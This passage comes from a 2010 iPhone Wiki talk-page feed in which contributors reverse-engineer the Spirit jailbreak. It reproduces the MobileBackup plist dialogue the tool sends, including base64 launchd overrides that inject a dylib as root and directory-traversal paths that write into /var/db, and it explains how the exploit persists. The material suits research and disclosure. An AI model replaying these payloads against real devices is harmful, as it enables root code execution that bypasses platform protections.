	&amp;lt;string&amp;gt;DLSendFile&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;data&amp;gt;&lt;br /&gt;
	PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBs&lt;br /&gt;
	aXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3&lt;br /&gt;
	dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJz&lt;br /&gt;
	aW9uPSIxLjAiPgo8ZGljdD4KICAgIDxrZXk+Y29tLmFwcGxlLlNwcmluZ0JvYXJkPC9r&lt;br /&gt;
	ZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PkRpc2FibGVkPC9rZXk+CiAgICAgICAg&lt;br /&gt;
	PHRydWUvPgogICAgPC9kaWN0PgoKICAgIDxrZXk+Y29tLmFwcGxlLnRjcGR1bXAuc2Vy&lt;br /&gt;
	dmVyPC9rZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PktlZXBBbGl2ZTwva2V5Pgog&lt;br /&gt;
	ICAgICAgIDx0cnVlLz4KICAgICAgICA8a2V5PkxhYmVsPC9rZXk+CiAgICAgICAgPHN0&lt;br /&gt;
	cmluZz5jb20uYXBwbGUudGNwZHVtcC5zZXJ2ZXI8L3N0cmluZz4KICAgICAgICA8a2V5&lt;br /&gt;
	PlByb2dyYW1Bcmd1bWVudHM8L2tleT4KICAgICAgICA8YXJyYXk+CiAgICAgICAgICAg&lt;br /&gt;
	IDxzdHJpbmc+L3NiaW4vbGF1bmNoZDwvc3RyaW5nPgogICAgICAgIDwvYXJyYXk+CiAg&lt;br /&gt;
	ICAgICAgPGtleT5SdW5BdExvYWQ8L2tleT4KICAgICAgICA8dHJ1ZS8+CiAgICAgICAg&lt;br /&gt;
	PGtleT5MYXVuY2hPbmx5T25jZTwva2V5PgogICAgICAgIDx0cnVlLz4KICAgICAgICA8&lt;br /&gt;
	a2V5PlVzZXJOYW1lPC9rZXk+CiAgICAgICAgPHN0cmluZz5yb290PC9zdHJpbmc+CiAg&lt;br /&gt;
	ICAgICAgPGtleT5FbnZpcm9ubWVudFZhcmlhYmxlczwva2V5PgogICAgICAgIDxkaWN0&lt;br /&gt;
	PgogICAgICAgICAgICA8a2V5PkRZTERfSU5TRVJUX0xJQlJBUklFUzwva2V5PgogICAg&lt;br /&gt;
	ICAgICAgICA8c3RyaW5nPi92YXIvbW9iaWxlL01lZGlhL3NwaXJpdC9vbmUuZHlsaWI8&lt;br /&gt;
	L3N0cmluZz4KICAgICAgICA8L2RpY3Q+CiAgICA8L2RpY3Q+CjwvZGljdD4KPC9wbGlz&lt;br /&gt;
	dD4KCg==&lt;br /&gt;
	&amp;lt;/data&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileAttributesKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileDest&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860294&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileIsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileOffsetKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileSource&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860294&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileStatusKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;Library/Preferences/SystemConfiguration/../../../../../var/db/launchd.db/com.apple.launchd/overrides.plist&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F73C30 [100B4070]&amp;gt; {&lt;br /&gt;
      type = immutable, count = 2, values = (&lt;br /&gt;
            0 : &amp;lt;CFString 00F73AE8 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageProcessMessage&amp;quot;}&lt;br /&gt;
            1 : &amp;lt;CFBasicHash 00F73BE8 [100B4070]&amp;gt; {&lt;br /&gt;
                  type = immutable dict, count = 2, entries =&amp;gt;&lt;br /&gt;
                        0 : &amp;lt;CFString 00F73B68 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageTypeKey&amp;quot;} = &amp;lt;CFString 00F73BA0 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageRestoreReplyOK&amp;quot;}&lt;br /&gt;
                        1 : &amp;lt;CFString 00F73B30 [100B4070]&amp;gt;{contents = &amp;quot;BackupProtocolVersion&amp;quot;} = &amp;lt;CFString 00F74980 [100B4070]&amp;gt;{contents = &amp;quot;1.6&amp;quot;}&lt;br /&gt;
            } &lt;br /&gt;
      )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 3 - Upload .launchd_use_gmalloc====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLSendFile&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;data&amp;gt;&lt;br /&gt;
	&amp;lt;/data&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileAttributesKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileDest&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860295&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileIsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileOffsetKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileSource&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860295&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileStatusKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;Library/Preferences/SystemConfiguration/../../../../../var/db/.launchd_use_gmalloc&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F80D70 [100B4070]&amp;gt; {     &lt;br /&gt;
      type = immutable, count = 2, values = (&lt;br /&gt;
            0 : &amp;lt;CFString 00F73C60 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageProcessMessage&amp;quot;} &lt;br /&gt;
            1 : &amp;lt;CFBasicHash 00F80D28 [100B4070]&amp;gt; {&lt;br /&gt;
                  type = immutable dict, count = 2, entries =&amp;gt;&lt;br /&gt;
                  0 : &amp;lt;CFString 00F7D4B0 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageTypeKey&amp;quot;} = &amp;lt;CFString 00F80CA8 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageRestoreFileReceived&amp;quot;}&lt;br /&gt;
                  2 : &amp;lt;CFString 00F80C70 [100B4070]&amp;gt;{contents = &amp;quot;BackupRestoreFileName&amp;quot;} = &amp;lt;CFString 00F80CF0 [100B4070]&amp;gt;{contents = &amp;quot;/tmp/stuff.1273764810&amp;quot;}&lt;br /&gt;
            } &lt;br /&gt;
      )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-[[User:EnohpiDesrever|EnohpiDesrever]] 16:11, 17 May 2010 (UTC)&lt;/div&gt;</summary>
		<author><name>EnohpiDesrever</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6404</id>
		<title>Talk:Spirit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6404"/>
		<updated>2010-05-17T16:11:18Z</updated>

		<summary type="html">&lt;p&gt;EnohpiDesrever: /* plist 3 - Upload .launchd_use_gmalloc */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;There exists also a tool called [[Spirit Fixer|Spirit Fixer v1.01]], written by [[Kirma]]. Anybody knows what that is? Here's a link: http://twitter.com/elior231/status/13296125900&lt;br /&gt;
&lt;br /&gt;
--[[User:Http|http]] 21:42, 4 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I'd love to see a technical writeup of everything, although I don't blame you if you don't. I'm lazy about those things too. As far as trying to keep it secret from Apple, I don't feel theres a point, they'll find it no matter what we do.&lt;br /&gt;
&lt;br /&gt;
--[[User:Geohot|geohot]] 14:02, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I have started reverse engineering Spirit and making some UML(like) data flow and function diagrams. The problem is that I am guessing at too many things since I did not wana post anything and have someone get pissed it was out there. I am up for putting a formal brief together if others want to collaborate. I would imagine as Geohot said, that apple had this disassembled before the .tar was dry. Not to mention that they are not just looking for the exploit that was used (since they most likely had a whiteboard full of potentials during design) , they are looking for copyright violations and their stollen code in every bit of its bits.  &lt;br /&gt;
&lt;br /&gt;
--KodeSlinger 16:31, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Meh, as mentioned on spiritjb.com, once Apple has shown that they've fixed it, the source will be released anyway. - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - I started working on it BS (Before Spirit :) ), to create a centralized location that dynamically maps (HW/FW/SW) physical and logical drawings together. My thought was something like this wiki on crack. Ideally to generate functional diagrams of the idevice that act as a starting point to link to more detailed sections pertaining to that functions exploits, related functions, and source code samples(or any other data). Since I am new to this community I have been trying to organize this data for my own brain, and thought others might use it. I will post some screen shots later. The more organized we are the easier it will be to exploit the next vulnerability. &lt;br /&gt;
--[[User:Viper911h|KodeSlinger]] 20:11, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Oh hah, cool :)  If you do that though, obviously you shouldn't go overboard and start publicly discussing variations of this that would help Apple close other holes yet to be exploited (it sounds like your well-versed enough to do that!) - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - Hah; yeah obviously cool kidz only lol --[[User:Viper911h|KodeSlinger]] 21:08, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Reversing Spirit ==&lt;br /&gt;
&lt;br /&gt;
I just started reversing Spirit and thought I'd share what I learned so far in hopes of hearing more from others.&lt;br /&gt;
&lt;br /&gt;
Spirit.exe extracts a bunch of files into a temp directory as follows:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
+ Documents and Settings/&amp;lt;User&amp;gt;/Local Settings/spiritxxx&lt;br /&gt;
|&lt;br /&gt;
+ - dl&lt;br /&gt;
|   |&lt;br /&gt;
|   + - dl.exe&lt;br /&gt;
|&lt;br /&gt;
+ - igor&lt;br /&gt;
|   |&lt;br /&gt;
|   + - 2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf.dylib&lt;br /&gt;
|   + - 3e404d11fcbd5486d3be2dd86ce21316e1854842.dylib&lt;br /&gt;
|   + - 74227c0021c5e12effb5bd3175eb469a8df0622e.dylib&lt;br /&gt;
|   + - b735701843456754988021d128c2671ee36d1b04.dylib&lt;br /&gt;
|   + - f6c17e934ba0ad477812de0b7cb019396d259d93.dylib&lt;br /&gt;
|   + - install&lt;br /&gt;
|   + - map.plist&lt;br /&gt;
|&lt;br /&gt;
+ - resources&lt;br /&gt;
    |&lt;br /&gt;
    + - 320x480.jpg&lt;br /&gt;
    + - 1024x768.jpg&lt;br /&gt;
    + - overrides.plist&lt;br /&gt;
    + - icon.ico&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Spirit.exe is simply a GUI wrapper for dl.exe, which does the heavy lifting and is written using the cross-platform library CoreFoundation.dll.  Dl.exe uses the iTunes DLL to get access to the iDevice, registering a callback function through AMDeviceNotificationSubscribe.  The callback function launches a thread, which uploads 4 files as follows:&lt;br /&gt;
&lt;br /&gt;
# One of the dylibs (depending on the iDevice version?) is uploaded as /var/mobile/Media/spirit/one.dylib&lt;br /&gt;
# The Mach-O ARM executable &amp;quot;install&amp;quot; is uploaded as /var/mobile/Media/spirit/install&lt;br /&gt;
# The Spirit.exe is uploaded as /var/mobile/Media/spirit/freeze.tar.xz&lt;br /&gt;
# One of the jpgs is uploaded as /var/mobile/Media/spirit/bg.jpg&lt;br /&gt;
&lt;br /&gt;
After the files are uploaded, the upload thread signals to the main thread that the files are ready.  The main thread then sends over two plists (shown at the end of the log below) via MobileBackup.&lt;br /&gt;
&lt;br /&gt;
As I've only just started looking at this, and I'm also new to the iPhone scene, I have lots of questions.&lt;br /&gt;
&lt;br /&gt;
# Is the MobileBackup interface documented anywhere?  Was it used in other jb tools before Spirit?&lt;br /&gt;
# Why is Spirit.exe uploaded to the iDevice as freeze.tar.xz?&lt;br /&gt;
# What purpose do map.plist and overrides.plist serve?&lt;br /&gt;
# What are the two plists sent at the end of the transfer, and how do they allow the &amp;quot;install&amp;quot; image to be executed?&lt;br /&gt;
# What does install do to provide an untethered solution?&lt;br /&gt;
&lt;br /&gt;
I'll post more as I learn, but it would be nice to hear if others have made more progress.&lt;br /&gt;
&lt;br /&gt;
-[[User:EnohpiDesrever|EnohpiDesrever]] 16:47, 14 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
# Don't think it's documented.&lt;br /&gt;
# Actually, freeze.tar.xz is tacked on to Spirit.exe, after the string 'magicmagicmagicm'.  xz is http://tukaani.org/xz/&lt;br /&gt;
# One maps firmware version to the dylib that should be uploaded.  The other is read by launchd.&lt;br /&gt;
# Just look at the contents of overrides.plist and the launchd source.  The nefarious part is actually getting that file in the appropriate directory.  (Note that overrides is only used for the initial install, because launchd spawns everything at once and the following solution ensures the exploit is run first.)&lt;br /&gt;
# By installing itself as /usr/lib/libgmalloc.dylib.  To quote saurik: &amp;quot;if you touch the file /var/db/.launchd_use_gmalloc, then the first thing launchd does is set DYLD_INSERT_LIBRARIES to /usr/lib/libgmalloc.dylib and restart itself&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:Comex|Comex]] 22:54, 14 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== More Reversings ==&lt;br /&gt;
&lt;br /&gt;
Thanks for your response, Comex, and thanks for the jailbreak!  Hope you don't mind me posting what I learn here.  I figure that Apple's got to be way ahead of my progress if they care at all to fix the vulnerability.  I have some more questions for you, if you don't mind, based on the MobileBackup dialogue I found in Spirit (see below).&lt;br /&gt;
&lt;br /&gt;
# What type of encoding is used to encode the overrides file that is uploaded?&lt;br /&gt;
# How is /tmp/stuff.1273860295 used to touch launchd_use_gmalloc?&lt;br /&gt;
# Is the crazy directory traversal (Library/Preferences/SystemConfiguration/../../../../../) necessary to circumvent security or just an artifact?&lt;br /&gt;
# The only reference I found to DYLD_INSERT_LIBRARIES in launchd was the following, and I don't see how it allows you to set DYLD_INSERT_LIBRARIES to your own library, though I do see how it executes libgmalloc.dylib.&lt;br /&gt;
&lt;br /&gt;
Extract from launchd.c&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
135	        if (pid1_magic &amp;amp;&amp;amp; g_use_gmalloc) {&lt;br /&gt;
136	                if (!getenv(&amp;quot;DYLD_INSERT_LIBRARIES&amp;quot;)) {&lt;br /&gt;
137	                        setenv(&amp;quot;DYLD_INSERT_LIBRARIES&amp;quot;, &amp;quot;/usr/lib/libgmalloc.dylib&amp;quot;, 1);&lt;br /&gt;
138	                        setenv(&amp;quot;MALLOC_STRICT_SIZE&amp;quot;, &amp;quot;1&amp;quot;, 1);&lt;br /&gt;
139	                        execv(argv[0], argv);&lt;br /&gt;
140	                } else {&lt;br /&gt;
141	                        unsetenv(&amp;quot;DYLD_INSERT_LIBRARIES&amp;quot;);&lt;br /&gt;
142	                        unsetenv(&amp;quot;MALLOC_STRICT_SIZE&amp;quot;);&lt;br /&gt;
143	                }&lt;br /&gt;
144	        }&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
So, let me see if I understand the vulnerabilities that you are exploiting.  Launchd will load up the lib pointed to by the environment variable DYLD_INSERT_LIBRARIES.  You found a way to override that environment variable (via MobileBackup) to point to your own library (/var/mobile/Media/spirit/one.dylib).  You then installed your own patched version of /usr/lib/libgmalloc.dylib, which gets loaded everytime the device boots up.&lt;br /&gt;
&lt;br /&gt;
Below is the MobileBackup dialogue I extracted.&lt;br /&gt;
&lt;br /&gt;
==== plist 0 - Version Exchange ====&lt;br /&gt;
&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLMessageVersionExchange&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLVersionsOk&amp;lt;/string&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F72AE0 [100B4070]&amp;gt;{&lt;br /&gt;
        type = immutable, count = 3, values = (&lt;br /&gt;
                0 : &amp;lt;CFString 00F72A70 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageVersionExchange&amp;quot; }&lt;br /&gt;
                1 : &amp;lt;CFNumber 00F80F08 [100B4070]&amp;gt;{value = +100, type = kCFNumberSInt64Type}&lt;br /&gt;
                2 : &amp;lt;CFNumber 00F72AB8 [100B4070]&amp;gt;{value = +0, type = kCFNumberSInt32Type}&lt;br /&gt;
        )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 1 - Restore Request ====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLMessageProcessMessage&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupManifestKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;AuthSignature&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			7ZSsx9DFT5h7/4rkU1uJJebKwbc=&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;AuthVersion&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;2.0&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Data&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4K&lt;br /&gt;
			PCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQ&lt;br /&gt;
			TElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFRE&lt;br /&gt;
			cy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9u&lt;br /&gt;
			PSIxLjAiPgo8ZGljdD4KCTxrZXk+QXBwbGljYXRpb25zPC9rZXk+&lt;br /&gt;
			Cgk8ZGljdC8+Cgk8a2V5PkRldmljZUlkPC9rZXk+Cgk8c3RyaW5n&lt;br /&gt;
			PmYzNjQ3OGI3OTUzYzZhZWFkMTlmOGYzMTZhZmIzYzBmNDg2YWMz&lt;br /&gt;
			OWI8L3N0cmluZz4KCTxrZXk+RmlsZXM8L2tleT4KCTxkaWN0PgoJ&lt;br /&gt;
			CTxrZXk+NjYxZjVhMTYyMTk1ODhjNmU4NDY3MzVjNjYzZmJlMzFl&lt;br /&gt;
			NWY4NGRhNTwva2V5PgoJCTxkaWN0PgoJCQk8a2V5PkRhdGFIYXNo&lt;br /&gt;
			PC9rZXk+CgkJCTxkYXRhPgoJCQlxZytPdnJUWXM0T1oxQjdZTFJS&lt;br /&gt;
			WURFbE82bDg9CgkJCTwvZGF0YT4KCQkJPGtleT5Eb21haW48L2tl&lt;br /&gt;
			eT4KCQkJPHN0cmluZz5Ib21lRG9tYWluPC9zdHJpbmc+CgkJCTxr&lt;br /&gt;
			ZXk+RmlsZUxlbmd0aDwva2V5PgoJCQk8aW50ZWdlcj45MjI8L2lu&lt;br /&gt;
			dGVnZXI+CgkJCTxrZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVn&lt;br /&gt;
			ZXI+MDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxp&lt;br /&gt;
			bnRlZ2VyPjM4NDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRp&lt;br /&gt;
			b25UaW1lPC9rZXk+CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6&lt;br /&gt;
			NDZaPC9kYXRlPgoJCQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGlu&lt;br /&gt;
			dGVnZXI+MDwvaW50ZWdlcj4KCQk8L2RpY3Q+CgkJPGtleT5iYTdl&lt;br /&gt;
			NDM1MzRjZDVhOThkZTA4MGU2MTQxYmVhZjVkYzAwNGFkMjM3PC9r&lt;br /&gt;
			ZXk+CgkJPGRpY3Q+CgkJCTxrZXk+RGF0YUhhc2g8L2tleT4KCQkJ&lt;br /&gt;
			PGRhdGE+CgkJCW1TWGRRNGlLZWQ3SFMvS3IyRWNPSFE0TEliST0K&lt;br /&gt;
			CQkJPC9kYXRhPgoJCQk8a2V5PkRvbWFpbjwva2V5PgoJCQk8c3Ry&lt;br /&gt;
			aW5nPkhvbWVEb21haW48L3N0cmluZz4KCQkJPGtleT5GaWxlTGVu&lt;br /&gt;
			Z3RoPC9rZXk+CgkJCTxpbnRlZ2VyPjA8L2ludGVnZXI+CgkJCTxr&lt;br /&gt;
			ZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50ZWdl&lt;br /&gt;
			cj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxpbnRlZ2VyPjM4NDwv&lt;br /&gt;
			aW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRpb25UaW1lPC9rZXk+&lt;br /&gt;
			CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6NDZaPC9kYXRlPgoJ&lt;br /&gt;
			CQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50&lt;br /&gt;
			ZWdlcj4KCQk8L2RpY3Q+Cgk8L2RpY3Q+Cgk8a2V5PlZlcnNpb248&lt;br /&gt;
			L2tleT4KCTxzdHJpbmc+Ni4yPC9zdHJpbmc+CjwvZGljdD4KPC9w&lt;br /&gt;
			bGlzdD4K&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;IsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;/dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupMessageTypeKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;kBackupMessageRestoreRequest&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupNotifySpringBoard&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;true/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupPreserveCameraRoll&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;true/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupProtocolVersion&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F7BFB0 [100B4070]&amp;gt;{&lt;br /&gt;
        type = immutable, count = 1, values = (&lt;br /&gt;
                0 : &amp;lt;CFString 00F7BF78 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageDeviceReady&amp;quot;}&lt;br /&gt;
        )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 2 - Upload Overrides ====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLSendFile&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;data&amp;gt;&lt;br /&gt;
	PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBs&lt;br /&gt;
